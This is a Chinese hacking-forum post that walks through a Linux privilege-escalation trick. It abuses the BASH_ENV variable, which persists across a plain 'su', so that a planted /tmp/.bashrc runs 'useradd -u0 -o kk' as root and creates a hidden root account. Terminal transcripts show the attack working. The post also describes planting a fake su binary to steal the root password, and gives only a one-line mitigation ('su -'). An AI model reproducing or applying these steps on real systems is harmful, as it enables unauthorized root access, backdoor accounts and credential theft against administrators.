一个Linux系统提权用到的小技巧

[复制链接]
查看1497 | 回复0 | 2012-4-1 19:27:50 | 显示全部楼层 |阅读模式
  一个linux提权用的技巧。

  OK,通常情况下,我们在执行bash脚本的时候,有一个执行过程,其中有一点比较重要:如果BASH_ENV被设置的话,它就会执行BASH_ENV指向的脚本

  一个test:

  [xiaoyu@localdomain~]$echo$BASH_ENV

  [xiaoyu@localdomain~]$exportBASH_ENV="/tmp/.bashrc"

  [xiaoyu@localdomain~]$echo$BASH_ENV

  /tmp/.bashrc

  [xiaoyu@localdomain~]$cat/tmp/.bashrc

  #!/bin/bash

  echo"Hello"

  [xiaoyu@localdomain~]$ls-l

  -rwxrwxr-x1xiaoyuxiaoyu222008-09-1105:54test.sh

  [xiaoyu@localdomain~]$cattest.sh

  #!/bin/bash

  echo"kk"

  [xiaoyu@localdomain~]$./test.sh

  Hello

  kk

  恩,很好,和我们预期的一样。看看我们怎么利用。

  grepsu~/.bash_history

  显示此用户有使用su登录root账户的特殊癖好。以前我们遇到这种情况通常就是塞个fakesu.c进去。然后修改.bash_profile,建立个别名之类的东西。通过getpass来获得root密码,记录,然后去除别名.....关键是管理员使用正确密码登录的时候也是会提示一次密码错误。遇到傻点的管理员可能就放过这个细节了,再输入一遍密码就OK了。但是某些非人类admin会以最快的速度检查系统被入侵的迹象,外加啥啥啥,而且这种管理员改root密码几乎是肯定的了。所以偷取下来的密码也没啥用处。恩,聪明的X客们一定知道我要做什么了。呵呵,先看看环境变量su后在不

  [xiaoyu@localdomain~]$echo$BASH_ENV

  /tmp/.bashrc

  [xiaoyu@localdomain~]$su

  Password:

  [root@localdomainxiaoyu]#echo$BASH_ENV

  /tmp/.bashrc

  啊哦,还在OK,实验结束,实战:

  [xiaoyu@localdomaintmp]$echo'/usr/sbin/useradd-u0-okk2>/dev/null'>/tmp/.bashrc

  [xiaoyu@localdomaintmp]$cat/tmp/.bashrc

  /usr/sbin/useradd-u0-okk2>/dev/null

  [xiaoyu@localdomaintmp]$grepkk/etc/passwd

  [xiaoyu@localdomaintmp]$echo$BASH_ENV

  /tmp/.bashrc

  [xiaoyu@localdomaintmp]$su

  Password:

  [root@localdomaintmp]#cd/home/xiaoyu

  [root@localdomainxiaoyu]#./test.sh

  kk

  [root@localdomainxiaoyu]#grepkk/etc/passwd

  kk:x:0:503::/home/kk:/bin/bash

  [root@localdomainxiaoyu]#

  呵呵,改密码的语句我没加进去哦。自己想,呵呵,偶不知道,偶不知道

  恩,关于怎么安置,和fakesu一样,在.bash_profile等地方exportBASH_ENV变量...

  如果要避免这种情况,使用su-登录root,估计没几个管理员记得这个指令吧..汗...
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则